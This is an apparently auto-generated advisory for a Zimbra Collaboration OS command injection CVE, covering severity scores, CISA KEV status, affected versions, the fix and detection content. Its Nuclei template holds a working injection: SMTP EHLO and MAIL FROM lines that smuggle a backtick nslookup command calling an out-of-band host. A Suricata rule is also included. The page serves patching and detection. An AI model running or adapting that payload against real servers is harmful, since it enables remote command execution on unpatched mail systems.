VULNpocalypse

CVE-2026-73570: Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.

Description quoted from the CVE record (assigned by mitre, published 2026-08-13).

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability low. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-08-21
US federal deadline
2026-08-24
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-12669, EUVD-2026-58069, GHSA-jqh7-pchh-v74j

VEDAS cluster: VEDAS:FREEZINGSTAR

Exploit Observer links 16 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (16)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (6)

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

News (2)

52 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.717
very likely to be attacked soon
VEDAS
0.980
strong exploit evidence
On CISA KEV
Yes, since 2026-08-21
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1Added to CISA KEV 2026-08-21CVE-2026-73570 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9Added to CISA KEV 2026-08-21CVE-2026-73570 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
Zimbra Collaborationbefore 10.1.20Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: synacor zimbra_collaboration_suite, zimbra_inc. zimbra_collaboration_suite.

How to fix it

Fixed versions stated in the CVE record: 10.1.20.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Zimbra Collaboration - Command Injection

A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /js/zimbraMail/share/model/ZmSettings.js); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, regex, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-73570.yaml
Show the template (70 lines)
yaml
id: CVE-2026-73570

info:
  name: "Zimbra Collaboration - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional
    zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted
    input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP
    requests that may result in execution of arbitrary operating system commands as the Zimbra user.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-73570&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
    cvss-score: 8.9
    cve-id: CVE-2026-73570
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2026,zimbra,rce,oast,kev,smtp,snmp,network,vkev
flow: http(1) && tcp(1)

http:
  - raw:
      - |
        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Zimbra Collaboration Suite Web Client")'
          - 'compare_versions(version, "< 10.1.20")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'CLIENT_VERSION[^"]*defaultValue[^"]*"(\d+\.\d+\.\d+)'
          - '"(\d+\.\d+\.\d+)_GA'
        internal: true

tcp:
  - host:
      - "{{Host}}:25"

    inputs:
      - data: ""
        read: 512
      - data: "EHLO `nslookup {{interactsh-url}}`\r\n"
        read: 512
      - data: "MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\r\n"
        read: 512
      - data: "RCPT TO:<postmaster@localhost>\r\n"
        read: 512
      - data: "QUIT\r\n"
        read: 64

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2026-73570.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-73570 Zimbra Collaboration - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-73570 Zimbra Collaboration - Command Injection"; flow:established,to_server; http.uri; content:"/js/zimbraMail/share/model/ZmSettings.js"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-73570; reference:url,https://www.exploit.observer/?keyword=CVE-2026-73570&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact; sid:1008629; rev:1;)

CVE-2026-73570.rules on GitHub

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.